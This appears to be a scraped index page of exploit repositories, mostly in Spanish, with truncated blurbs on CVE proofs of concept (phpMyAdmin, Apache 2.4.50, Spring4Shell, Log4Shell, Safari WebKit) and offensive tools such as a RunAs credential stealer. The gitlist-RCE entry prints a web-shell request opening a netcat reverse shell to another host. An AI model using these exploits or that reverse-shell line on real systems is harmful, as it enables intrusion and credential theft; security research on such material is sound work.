CVE-2016-5734-docker

CVE-2016-5734-docker Vulnerabilidad de ejecución remota de código en PhpMyAdmin 4.0.x—4.6.2 CVE-2016-5734 Configuración root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 Exploit root@kitploit: python3...

cve-2021-42013.get

Apache 2.4.50 - Path Traversal o Ejecución Remota de Código cve-2021-42013.py es un script de Python que ayuda a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para practicar con CVE-2021-42013 Si...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Ejecución Remota de Código cve-2021-42013.py es un script de Python que ayuda a encontrar la vulnerabilidad de Path Traversal o Ejecución Remota de Código en Apache 2.4.50. Se proporciona una instancia vulnerable de Docker para poner manos a la obra con...

CVE-2022-24112

Apache APISIX 2.12.x Ejecución Remota de Código RCE Exploit Este script en Python es una Prueba de Concepto PoC para una vulnerabilidad de ejecución remota de código RCE en Apache APISIX versiones 2.12.0 y 2.12.1. La vulnerabilidad radica en el mal uso del campo Lua filterfunc dentro de la API de...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación. Todos los scripts de exploit deben utilizarse exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El auto...

CVE-2019-16662

CVE-2019-16662 El exploit oficial para rConfig 3.9.2 Remote Code Execution CVE-2019-16662...

gitlist-RCE

gitlist-RCE CVE-2014-4511 ejemplo: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-5548

CVE-2025-5548 Investigación de seguridad y análisis técnico de CVE-2025-5548, una vulnerabilidad de desbordamiento de búfer que afecta a FreeFloat FTP Server 1.0. Este repositorio documenta el comportamiento de la vulnerabilidad, el análisis de la superficie de ataque, las pruebas controladas de...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE Exploit, might be patched in iOS 16.5.1/macOS 13.4.1 Confirmed exploit works on macOS 13.3.1, iOS 15.8.2. Description Currently only works on macOS 13.0.1 x8664 due to hardcoded offsets. Implemented addrof/fakeobj, r/w primitive Patch...

RunAs-Stealer

RunAs-Stealer Stealer de credenciales de la utilidad RunAs que implementa 3 técnicas: Hooking de CreateProcessWithLogonW, Keylogging inteligente y Depuración remota Uso Los stealers se ejecutan en un bucle while el inyector también en el caso de Hooking en segundo plano; para finalizarlos usa el...

staystaystay

staystaystay staystaystay 是一个针对 CVE-2021-1585 的概念验证漏洞利用程序，该漏洞是影响 Cisco ASA Device Manager ASDM 的中间人或恶意端点 RCE 问题。该问题最初由 Malcolm Lashley 发现并在 2021 年夏季披露。然而，在我研究此问题时，最新版本 ASDM 7.171 仍未修补，我独立发现了它。 Cisco 在 ASDM 7.181.152 中“修复”了此问题。我之所以说“修复”，是因为此漏洞利用仍然有效。用户只需点击“是”。请观看下面的视频。 攻击者可以配置两种类型的有效载荷来获取受害者的反向...

adiskreader-secretsdump

🚩 Patrocinadores Si te gusta este proyecto, considera comprar licencias de OctoPwn, nuestra suite completa de pentesting que se ejecuta en tu navegador! Para notificaciones sobre nuevas compilaciones/lanzamientos y otra información, únete a nuestro Discord adiskreader-secretsdump Extrae secretos ...

CVE-2022-22965

Spring4ShellCVE-2022-22965 RCE en Spring Framework mediante enlace de datos en JDK 9+ / spring4shell / CVE-2022-22965 Spring4ShellCVE-2022-22965 Demo del Exploit https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4 Construcción root@kitploit: docke...

CVE-2022-22963

Vulnerabilidad de Spring Cloud Function CVE-2022-22963 Aplicación vulnerable a CVE-2022-22963 Demo de Exploit CVE-2022-22963 https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 Construcción root@kitploit: docker pull me2nuk/cves:2022-22963 docker...

CVE-2017-9841

CVE-2017-9841 Script detector de CVE-2017-9841 por Massimiliano Brasile QUÉ SUCEDIÓ El 6 de enero de 2020 me informaron de un problema de seguridad que aparentemente afecta a la mayoría de las versiones de PrestaShop la advertencia fue compartida por el equipo de PS solo internamente el 3 de ener...

CVE-2025-20029

CVE-2025-20029: Inyección de Comandos en la CLI TMSH de F5 BIG-IP Existe una vulnerabilidad de inyección de comandos en la CLI restringida “tmsh” de F5 que permite a un atacante autenticado aprovechar los comandos accesibles por un usuario de bajo privilegio para eludir restricciones, inyectar...

CVE-2021-46364

CVE-2021-46364: Deserialización de YAML en Magnolia CMS Magnolia versiones =6.2.3 tiene un analizador Snake YAML que es vulnerable a ataques de deserialización que pueden permitir a un atacante invocar constructores arbitrarios de Java al importar archivos YAML. Se ha logrado ejecución remota de...

CVE-2021-46362

CVE-2021-46362: Inyección de plantillas del lado del servidor FreeMarker en Magnolia CMS Una vulnerabilidad de inyección de plantillas del lado del servidor SSTI en los formularios de Registro y Contraseña Olvidada de Magnolia v6.2.3 y versiones anteriores permite a atacantes no autenticados...

CVE-2022-40634

CVE-2022-40634: FreeMarker Server-Side Template Injection in CrafterCMS By inserting malicious content in a FTL template, an attacker may perform SSTI Server-Side Template Injection attacks, which can leverage FreeMarker exposed objects to bypass restrictions and obtain RCE Remote Code Execution...

CVE-2021-44228_Example

CVE-2021-44228Example Ejecuta cada una de las 3 secciones en una pestaña/consola separada Servidor LDAP marshalsec https://github.com/chilliwebs/marshalsec Bifurcado de https://github.com/mbechler/marshalsec root@kitploit: docker build -t marshalsec marshalsec/. docker run -it --rm -p 1389:1389...